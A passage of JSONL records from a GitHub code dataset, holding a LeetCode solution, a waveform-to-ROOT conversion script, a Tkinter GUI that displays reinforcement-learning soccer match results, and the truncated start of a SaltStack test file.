"pywikibot.Page", "line_number": 269, "usage_type": "call"}, {"api_name": "pywikibot.Site", "line_number": 280, "usage_type": "call"}]} {"seq_id": "31906003281", "text": "from typing import List \nclass Solution:\n def productExceptSelf(self, nums: List[int]) -> List[int]:\n left = [1]\n right = [1]\n l = len(nums)\n result = []\n for i in range(0,l-1):\n left.append(left[i]*nums[i])\n right.insert(0,right[0]*nums[l-1-i])\n for i in range(0,l):\n result.append(left[i] * right[i])\n return result\n", "repo_name": "H-Maktub/leetcode", "sub_path": "题库_python/238.py", "file_name": "238.py", "file_ext": "py", "file_size_in_byte": 403, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.List", "line_number": 3, "usage_type": "name"}]} {"seq_id": "21424897031", "text": "\"\"\"\n\nconvert_waveform_txt_to_parquet.py\n\nSimple file for converting the .txt wavefile to the standard root format.\n\n\"\"\"\nimport sipmanalyze.formats as forms\nimport argparse\nimport os\nimport awkward\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n \"Converting a waveform file to a standard root file format.\")\n parser.add_argument('input', type=str, nargs='+', help='input .txt file')\n args = parser.parse_args()\n for idx, in_f in enumerate(args.input):\n try:\n out_f = in_f.replace('.txt', '.root')\n print(f'Converting file {in_f} [{idx+1}/{len(args.input)}]')\n std_cont = forms.standard.standard_container.from_txt(in_f)\n std_cont.data['lumival'] = std_cont.data.payload[:, 0]\n std_cont.data['uncval'] = std_cont.data.payload[:, 1]\n std_cont.data = awkward.zip(\n {f: std_cont.data[f]\n for f in std_cont.data.fields\n if f != 'payload'})\n\n std_cont.save_to_file(out_f)\n del std_cont\n except Exception as err:\n print(err)\n pass\n", "repo_name": "UMDCMS/sipmanalyze", "sub_path": "scripts/convert/lumi_txt_to_root.py", "file_name": "lumi_txt_to_root.py", "file_ext": "py", "file_size_in_byte": 1025, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 14, "usage_type": "call"}, {"api_name": "sipmanalyze.formats.standard.standard_container.from_txt", "line_number": 22, "usage_type": "call"}, {"api_name": "sipmanalyze.formats.standard", "line_number": 22, "usage_type": "attribute"}, {"api_name": "sipmanalyze.formats", "line_number": 22, "usage_type": "name"}, {"api_name": "awkward.zip", "line_number": 25, "usage_type": "call"}]} {"seq_id": "43168823519", "text": "# -*- coding: UTF-8 -*-\nfrom tkinter import *\nfrom tkinter import messagebox\nfrom tkinter import ttk\nfrom tkinter import filedialog\nfrom PIL import ImageTk, Image\n\nimport math\nimport matplotlib.pyplot as plt\nfrom matplotlib.font_manager import FontProperties\n\nfrom pandas import DataFrame\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\n\nimport random\n\nimport constants.constants as constants\n\nfrom view import Router\nfrom view import popup as popup_\nfrom view.code import home\nfrom view.code import getPlacar as placar\n\nfrom view.code.aprendizado import start as start_\n\nfrom view.code import graph\n\nimport info as Info\n\nfrom time import sleep \nimport threading\nimport os, glob \nfrom pathlib import Path\n\ndef view(TelaInicial, dict_config):\n\n results_r1 = []\n results_r2 = []\n results_saldo = []\n graph_x = []\n\n def popup(s):\n popup_.run(s)\n\n def router(id):\n Router.router(id, TelaInicial)\n pass\n\n def openFile():\n \t# placares gerais AR x RESERVA\n arq_results = open('.results.txt', 'w');\n arq_results.write('Placares das Partidas \\n(AR) x (Reserva)\\n\\n')\n for x in range(0, len(results_r1)):\n arq_results.write(str(results_r1[x]) + ' x ' + str(results_r2[x]) + '\\n')\n arq_results.close()\n\n \n\n # Resultados apenas AR\n arq_results = open('.ResultadosAR.txt', 'w');\n # arq_results.write('Resultados -> (AR)\\n\\n')\n for x in range(0, len(results_r1)):\n arq_results.write(str(results_r1[x]) + '\\n')\n arq_results.close()\n\n \n\n # Resultados apenas RESERVA\n arq_results = open('.ResultadosReserva.txt', 'w');\n # arq_results.write('Resultados -> (Reserva)\\n\\n')\n for x in range(0, len(results_r2)):\n arq_results.write(str(results_r2[x]) + '\\n')\n arq_results.close()\n\n input_ = 'gedit .results.txt .ResultadosAR.txt .ResultadosReserva.txt'\n os.system(input_)\n\n def openGraph():\n graph.open(graph_x, results_r1, results_r2, results_saldo)\n\n def results():\n threading.Thread(target=openFile).start()\n openGraph()\n\n def verify():\n if dict_config[\"started\"] and int(dict_config[\"episode\"]) <= int(dict_config[\"episodes\"]):\n start()\n else:\n countMatch(1, 1)\n # ------------------------------------------------------\n # Button Start\n # ------------------------------------------------------\n btMenu = Button(\n TelaInicial, \n width=76, \n text=constants.btBeforeAR, \n command=results,\n bg=constants.butonColorInfo, \n fg=constants.letterColor,\n activebackground=constants.activeButtonColorInfo\n )\n btMenu.place(\n x=402, \n y=579, \n anchor=CENTER\n )\n # ------------------------------------------------------\n\n def start():\n if not dict_config[\"started\"]:\n # results_r1.clear()\n # results_r2.clear()\n # results_saldo.clear()\n # graph_x.clear()\n dict_config[\"started\"] = True\n # ------------------------------------------------------\n # Button Start\n # ------------------------------------------------------\n btMenu = Button(\n TelaInicial, \n width=76, \n text=constants.btAfterAguarde, \n command=start,\n bg=constants.buttonStopColor, \n fg=constants.letterColor,\n activebackground=constants.buttonStopColorActive\n )\n btMenu.place(\n x=402, \n y=579, \n anchor=CENTER\n )\n else:\n while(dict_config[\"started\"] and int(dict_config[\"episode\"]) <= int(dict_config[\"episodes\"])):\n dicTeam = {\n \"partida\" : constants.btModoMatchFast,\n \"team1\" : {\n \"teamName\" : constants.addressTeamArName,\n \"path\" : constants.addressTeamArSystem\n },\n \"team2\" : {\n \"teamName\" : constants.addressTeamResName,\n \"path\" : constants.addressTeamResSystem\n }\n }\n countMatch(dict_config[\"episode\"])\n TelaInicial.update_idletasks()\n\n r1, r2 = start_.run(dicTeam)\n if r1 != constants.ERROR and r2 != constants.ERROR:\n\n results_r1.append(int(r1))\n results_r2.append(int(r2))\n results_saldo.append(int(r1)-int(r2))\n graph_x.append(int(dict_config[\"episode\"]))\n\n graphLive()\n progress_bar.set(int(dict_config[\"episode\"]))\n\n ep = str(dict_config[\"episode\"])\n r1 = str(r1)\n r2 = str(r2)\n\n while len(ep) < 3:\n ep += ' '\n while len(r1) < 2:\n r1 += ' '\n while len(r2) < 2:\n r2 += ' '\n\n listbox_1.insert(END, \" Partida \" + ep)\n listbox_2.insert(END, r1)\n listbox_3.insert(END, r2)\n\n listbox_1.see(listbox_1.size())\n listbox_2.see(listbox_2.size())\n listbox_3.see(listbox_3.size())\n dict_config[\"episode\"] += 1\n else:\n popup_.run(constants.msgReiniciarPartida, 2000)\n TelaInicial.update_idletasks()\n\n TelaInicial.update_idletasks()\n TelaInicial.after_idle(verify())\n\n def countMatch(x, final = None):\n if final == None:\n desc = \"Partida \" + str(x) + \" em andamento\"\n else:\n desc = \" Episódios completos \"\n # ------------------------------------------------------\n lbPartida = Label(\n TelaInicial, \n text=desc, \n bg=constants.backgroundColor,\n fg=constants.letterColor\n )\n lbPartida.config(\n font=(\n constants.fontPersonalizada, \n constants.fontSizeTitleTelaIn\n )\n )\n lbPartida.place(\n x=410, \n y=20,\n anchor=N\n )\n # ------------------------------------------------------\n\n def graphLive():\n data1 = {'Partida': graph_x,\n 'Saldo_de_Gol': results_saldo\n }\n df1 = DataFrame(data1,columns=['Partida','Saldo_de_Gol'])\n df2 = df1[['Partida','Saldo_de_Gol']].groupby('Partida').sum()\n df2.plot(kind='line', legend=False, ax=ax2, color='r',marker='o', linewidth=1, linestyle='dashed')\n\n figure2.canvas.draw()\n figure2.canvas.flush_events()\n\n data1 = {'Partida': graph_x,\n 'Saldo_de_Gol': results_saldo\n }\n df1 = DataFrame(data1,columns=['Partida','Saldo_de_Gol'])\n\n figure2 = plt.Figure(figsize=(19,4), dpi=50, facecolor='white', edgecolor='white')\n ax2 = figure2.add_subplot(111)\n line2 = FigureCanvasTkAgg(figure2, TelaInicial)\n line2.get_tk_widget().place(\n x=390, \n y=370,\n anchor=N\n )\n df2 = df1[['Partida','Saldo_de_Gol']].groupby('Partida').sum()\n # df2.plot(kind='line', legend=False, ax=ax2, color='w',marker='', linewidth=0, linestyle='dashed')\n ax2.tick_params(top='off', bottom='off', left='off', right='off', labelright=True)\n ax2.set_title('Saldo de Gols')\n ax2.set_xlabel('')\n\n # AR x Reserva\n Label(\n TelaInicial, \n text=constants.labelResultTeam,\n bg=constants.backgroundColor,\n font=constants.fontPersonalizadaList,\n ).place(\n x=530, \n y=90, \n anchor=W\n )\n # Resultados\n Label(\n TelaInicial, \n text=constants.labelResult,\n bg=constants.backgroundColor,\n font=constants.fontPersonalizadaList,\n ).place(\n x=395, \n y=90, \n anchor=W\n )\n # ------------------------------------------------------\n # listbox partida\n # ------------------------------------------------------\n listbox_1 = Listbox(\n TelaInicial,\n width=12,\n height=6,\n font=constants.fontPersonalizadaList,\n fg=constants.listboxFG,\n bg=constants.listboxBG,\n bd=0,\n )\n listbox_1.configure(justify=CENTER)\n listbox_1.place(\n x=380, \n y=170, \n anchor=W\n )\n # ------------------------------------------------------\n # ------------------------------------------------------\n # listbox result ar\n # ------------------------------------------------------\n listbox_2 = Listbox(\n TelaInicial,\n width=3,\n height=6,\n font=constants.fontPersonalizadaList,\n fg=constants.listboxFG,\n bg=constants.listboxBG,\n bd=0,\n )\n listbox_2.configure(justify=CENTER)\n listbox_2.place(\n x=530, \n y=170, \n anchor=W\n )\n # ------------------------------------------------------\n # ------------------------------------------------------\n # listbox result reserva\n # ------------------------------------------------------\n listbox_3 = Listbox(\n TelaInicial,\n width=3,\n height=6,\n font=constants.fontPersonalizadaList,\n fg=constants.listboxFG,\n bg=constants.listboxBG,\n bd=0,\n )\n listbox_3.configure(justify=CENTER)\n listbox_3.place(\n x=600, \n y=170, \n anchor=W\n )\n # ------------------------------------------------------\n\n # ------------------------------------------------------\n # percent 1\n width = 50\n height = 50\n img_1 = Image.open(constants.addressPercent_1)\n img_1 = img_1.resize((width,height), Image.ANTIALIAS)\n logo_1 = ImageTk.PhotoImage(img_1)\n panel_1 = Label(TelaInicial, image=logo_1, bg=constants.backgroundColor)\n panel_1.place(x=68, y=313, anchor=CENTER)\n # ------------------------------------------------------\n # ------------------------------------------------------\n # percent 2\n img_2 = Image.open(constants.addressPercent_2)\n img_2 = img_2.resize((width,height), Image.ANTIALIAS)\n logo_2 = ImageTk.PhotoImage(img_2)\n panel_2 = Label(TelaInicial, image=logo_2, bg=constants.backgroundColor)\n panel_2.place(x=68 + 328, y=313, anchor=CENTER)\n # ------------------------------------------------------\n # ------------------------------------------------------\n # percent 3\n img_3 = Image.open(constants.addressPercent_3)\n img_3 = img_3.resize((width,height), Image.ANTIALIAS)\n logo_3 = ImageTk.PhotoImage(img_3)\n panel_3 = Label(TelaInicial, image=logo_3, bg=constants.backgroundColor)\n panel_3.place(x=68 + 663, y=313, anchor=CENTER)\n # ------------------------------------------------------\n\n progress_bar = DoubleVar()\n\n s = ttk.Style()\n s.theme_use('clam')\n s.configure(\n \"bar.Horizontal.TProgressbar\",\n troughcolor=constants.backgroundColor, \n bordercolor=constants.backgroundColor, \n background=constants.butonColorInfo, \n lightcolor=constants.butonColorInfo, \n darkcolor=constants.activeButtonColorInfo\n )\n\n barra = ttk.Progressbar(\n TelaInicial, \n style=\"bar.Horizontal.TProgressbar\",\n length=744,\n variable=progress_bar, \n orient=\"horizontal\", \n maximum=int(dict_config[\"episodes\"]),\n )\n barra.place(\n x=402, \n y=350,\n anchor=N\n )\n\n dist_x = 115\n # Algorithm\n Label(\n TelaInicial, \n text=constants.labelAlgorithm,\n bg=constants.backgroundColor\n ).place(\n x=dist_x, \n y=100, \n anchor=W\n )\n # Alpha\n Label(\n TelaInicial, \n text=constants.labelAlpha,\n bg=constants.backgroundColor\n ).place(\n x=dist_x, \n y=130, \n anchor=W\n )\n # Gamma\n Label(\n TelaInicial, \n text=constants.labelGamma,\n bg=constants.backgroundColor\n ).place(\n x=dist_x, \n y=160, \n anchor=W\n )\n # Epsilon\n Label(\n TelaInicial, \n text=constants.labelEpsilon,\n bg=constants.backgroundColor\n ).place(\n x=dist_x, \n y=190, \n anchor=W\n )\n # Episodes\n Label(\n TelaInicial, \n text=constants.labelEpisodes,\n bg=constants.backgroundColor\n ).place(\n x=dist_x, \n y=220, \n anchor=W\n )\n\n dist_x = 250\n # Algorithm\n Label(\n TelaInicial, \n text=\"->\",\n bg=constants.backgroundColor\n ).place(\n x=dist_x, \n y=100, \n anchor=W\n )\n # Alpha\n Label(\n TelaInicial, \n text=\"->\",\n bg=constants.backgroundColor\n ).place(\n x=dist_x, \n y=130, \n anchor=W\n )\n # Gamma\n Label(\n TelaInicial, \n text=\"->\",\n bg=constants.backgroundColor\n ).place(\n x=dist_x, \n y=160, \n anchor=W\n )\n # Epsilon\n Label(\n TelaInicial, \n text=\"->\",\n bg=constants.backgroundColor\n ).place(\n x=dist_x, \n y=190, \n anchor=W\n )\n # Episodes\n Label(\n TelaInicial, \n text=\"->\",\n bg=constants.backgroundColor\n ).place(\n x=dist_x, \n y=220, \n anchor=W\n )\n\n dist_x = 270\n # Algorithm\n Label(\n TelaInicial, \n text=dict_config[\"algorithm\"],\n bg=constants.backgroundColor\n ).place(\n x=dist_x, \n y=100, \n anchor=W\n )\n # Alpha\n Label(\n TelaInicial, \n text=dict_config[\"alpha\"],\n bg=constants.backgroundColor\n ).place(\n x=dist_x, \n y=130, \n anchor=W\n )\n # Gamma\n Label(\n TelaInicial, \n text=dict_config[\"gamma\"],\n bg=constants.backgroundColor\n ).place(\n x=dist_x, \n y=160, \n anchor=W\n )\n # Epsilon\n Label(\n TelaInicial, \n text=dict_config[\"epsilon\"],\n bg=constants.backgroundColor\n ).place(\n x=dist_x, \n y=190, \n anchor=W\n )\n # Episodes\n Label(\n TelaInicial, \n text=dict_config[\"episodes\"],\n bg=constants.backgroundColor\n ).place(\n x=dist_x, \n y=220, \n anchor=W\n )\n\n # ------------------------------------------------------\n # Button Voltar\n # ------------------------------------------------------\n btMenu = Button(\n TelaInicial, \n width=5, \n text=constants.btMenu, \n command=lambda router=router: router(0),\n bg=constants.butonColor, \n fg=constants.letterColor,\n activebackground=constants.activeButtonColor\n )\n btMenu.place(\n x=795, \n y=595, \n anchor=SE\n )\n # ------------------------------------------------------\n\n # ------------------------------------------------------\n # Button Sair\n # ------------------------------------------------------\n btSair = Button(\n TelaInicial, \n width=5, \n text=constants.btExit, \n command=lambda router=router: router(999),\n bg=constants.butonColor, \n fg=constants.letterColor,\n activebackground=constants.activeButtonColor\n )\n btSair.place(\n x=10, \n y=595, \n anchor=SW\n )\n # ------------------------------------------------------\n # ------------------------------------------------------\n # Button Start\n # ------------------------------------------------------\n btMenu = Button(\n TelaInicial, \n width=76, \n text=constants.btAfterAR, \n command=start,\n bg=constants.buttonColorConfig, \n fg=constants.letterColor,\n activebackground=constants.activeButtonColor\n )\n btMenu.place(\n x=402, \n y=579, \n anchor=CENTER\n )\n\n TelaInicial.mainloop()\n", "repo_name": "higorst/Reinforcement-Learning-System", "sub_path": "System RL/view/ar/partida.py", "file_name": "partida.py", "file_ext": "py", "file_size_in_byte": 16291, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "view.popup.run", "line_number": 43, "usage_type": "call"}, {"api_name": "view.popup", "line_number": 43, "usage_type": "name"}, {"api_name": "view.Router.router", "line_number": 46, "usage_type": "call"}, {"api_name": "view.Router", "line_number": 46, "usage_type": "name"}, {"api_name": "os.system", "line_number": 76, "usage_type": "call"}, {"api_name": "view.code.graph.open", "line_number": 79, "usage_type": "call"}, {"api_name": "view.code.graph", "line_number": 79, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 82, "usage_type": "call"}, {"api_name": "constants.constants.btBeforeAR", "line_number": 96, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 96, "usage_type": "name"}, {"api_name": "constants.constants.butonColorInfo", "line_number": 98, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 98, "usage_type": "name"}, {"api_name": "constants.constants.letterColor", "line_number": 99, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 99, "usage_type": "name"}, {"api_name": "constants.constants.activeButtonColorInfo", "line_number": 100, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 100, "usage_type": "name"}, {"api_name": "constants.constants.btAfterAguarde", "line_number": 122, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 122, "usage_type": "name"}, {"api_name": "constants.constants.buttonStopColor", "line_number": 124, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 124, "usage_type": "name"}, {"api_name": "constants.constants.letterColor", "line_number": 125, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 125, "usage_type": "name"}, {"api_name": "constants.constants.buttonStopColorActive", "line_number": 126, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 126, "usage_type": "name"}, {"api_name": "constants.constants.btModoMatchFast", "line_number": 136, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 136, "usage_type": "name"}, {"api_name": "constants.constants.addressTeamArName", "line_number": 138, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 138, "usage_type": "name"}, {"api_name": "constants.constants.addressTeamArSystem", "line_number": 139, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 139, "usage_type": "name"}, {"api_name": "constants.constants.addressTeamResName", "line_number": 142, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 142, "usage_type": "name"}, {"api_name": "constants.constants.addressTeamResSystem", "line_number": 143, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 143, "usage_type": "name"}, {"api_name": "view.code.aprendizado.start.run", "line_number": 149, "usage_type": "call"}, {"api_name": "view.code.aprendizado.start", "line_number": 149, "usage_type": "name"}, {"api_name": "constants.constants.ERROR", "line_number": 150, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 150, "usage_type": "name"}, {"api_name": "view.popup.run", "line_number": 180, "usage_type": "call"}, {"api_name": "view.popup", "line_number": 180, "usage_type": "name"}, {"api_name": "constants.constants.msgReiniciarPartida", "line_number": 180, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 180, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 195, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 195, "usage_type": "name"}, {"api_name": "constants.constants.letterColor", "line_number": 196, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 196, "usage_type": "name"}, {"api_name": "constants.constants.fontPersonalizada", "line_number": 200, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 200, "usage_type": "name"}, {"api_name": "constants.constants.fontSizeTitleTelaIn", "line_number": 201, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 201, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 215, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 225, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.Figure", "line_number": 227, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 227, "usage_type": "name"}, {"api_name": "matplotlib.backends.backend_tkagg.FigureCanvasTkAgg", "line_number": 229, "usage_type": "call"}, {"api_name": "constants.constants.labelResultTeam", "line_number": 244, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 244, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 245, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 245, "usage_type": "name"}, {"api_name": "constants.constants.fontPersonalizadaList", "line_number": 246, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 246, "usage_type": "name"}, {"api_name": "constants.constants.labelResult", "line_number": 255, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 255, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 256, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 256, "usage_type": "name"}, {"api_name": "constants.constants.fontPersonalizadaList", "line_number": 257, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 257, "usage_type": "name"}, {"api_name": "constants.constants.fontPersonalizadaList", "line_number": 270, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 270, "usage_type": "name"}, {"api_name": "constants.constants.listboxFG", "line_number": 271, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 271, "usage_type": "name"}, {"api_name": "constants.constants.listboxBG", "line_number": 272, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 272, "usage_type": "name"}, {"api_name": "constants.constants.fontPersonalizadaList", "line_number": 289, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 289, "usage_type": "name"}, {"api_name": "constants.constants.listboxFG", "line_number": 290, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 290, "usage_type": "name"}, {"api_name": "constants.constants.listboxBG", "line_number": 291, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 291, "usage_type": "name"}, {"api_name": "constants.constants.fontPersonalizadaList", "line_number": 308, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 308, "usage_type": "name"}, {"api_name": "constants.constants.listboxFG", "line_number": 309, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 309, "usage_type": "name"}, {"api_name": "constants.constants.listboxBG", "line_number": 310, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 310, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 325, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 325, "usage_type": "name"}, {"api_name": "constants.constants.addressPercent_1", "line_number": 325, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 325, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 326, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 326, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 327, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 327, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 328, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 328, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 333, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 333, "usage_type": "name"}, {"api_name": "constants.constants.addressPercent_2", "line_number": 333, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 333, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 334, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 334, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 335, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 335, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 336, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 336, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 341, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 341, "usage_type": "name"}, {"api_name": "constants.constants.addressPercent_3", "line_number": 341, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 341, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 342, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 342, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 343, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 343, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 344, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 344, "usage_type": "name"}, {"api_name": "tkinter.ttk.Style", "line_number": 350, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 350, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 354, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 354, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 355, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 355, "usage_type": "name"}, {"api_name": "constants.constants.butonColorInfo", "line_number": 356, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 356, "usage_type": "name"}, {"api_name": "constants.constants.butonColorInfo", "line_number": 357, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 357, "usage_type": "name"}, {"api_name": "constants.constants.activeButtonColorInfo", "line_number": 358, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 358, "usage_type": "name"}, {"api_name": "tkinter.ttk.Progressbar", "line_number": 361, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 361, "usage_type": "name"}, {"api_name": "constants.constants.labelAlgorithm", "line_number": 379, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 379, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 380, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 380, "usage_type": "name"}, {"api_name": "constants.constants.labelAlpha", "line_number": 389, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 389, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 390, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 390, "usage_type": "name"}, {"api_name": "constants.constants.labelGamma", "line_number": 399, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 399, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 400, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 400, "usage_type": "name"}, {"api_name": "constants.constants.labelEpsilon", "line_number": 409, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 409, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 410, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 410, "usage_type": "name"}, {"api_name": "constants.constants.labelEpisodes", "line_number": 419, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 419, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 420, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 420, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 432, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 432, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 442, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 442, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 452, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 452, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 462, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 462, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 472, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 472, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 484, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 484, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 494, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 494, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 504, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 504, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 514, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 514, "usage_type": "name"}, {"api_name": "constants.constants.backgroundColor", "line_number": 524, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 524, "usage_type": "name"}, {"api_name": "constants.constants.btMenu", "line_number": 537, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 537, "usage_type": "name"}, {"api_name": "constants.constants.butonColor", "line_number": 539, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 539, "usage_type": "name"}, {"api_name": "constants.constants.letterColor", "line_number": 540, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 540, "usage_type": "name"}, {"api_name": "constants.constants.activeButtonColor", "line_number": 541, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 541, "usage_type": "name"}, {"api_name": "constants.constants.btExit", "line_number": 556, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 556, "usage_type": "name"}, {"api_name": "constants.constants.butonColor", "line_number": 558, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 558, "usage_type": "name"}, {"api_name": "constants.constants.letterColor", "line_number": 559, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 559, "usage_type": "name"}, {"api_name": "constants.constants.activeButtonColor", "line_number": 560, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 560, "usage_type": "name"}, {"api_name": "constants.constants.btAfterAR", "line_number": 574, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 574, "usage_type": "name"}, {"api_name": "constants.constants.buttonColorConfig", "line_number": 576, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 576, "usage_type": "name"}, {"api_name": "constants.constants.letterColor", "line_number": 577, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 577, "usage_type": "name"}, {"api_name": "constants.constants.activeButtonColor", "line_number": 578, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 578, "usage_type": "name"}]} {"seq_id": "12854764224", "text": "\"\"\"\n :codeauthor: Jayesh Kariya \n\"\"\"\nimport pytest\n\nimport salt.states.debconfmod as debconfmod\nfrom tests.support.mock import MagicMock, patch\n\n\n@pytest.fixture\ndef configure_loader_modules():\n return {debconfmod: {}}\n\n\ndef test_set_file():\n \"\"\"\n Test to set debconf selections from a file or a template\n \"\"\"\n name = 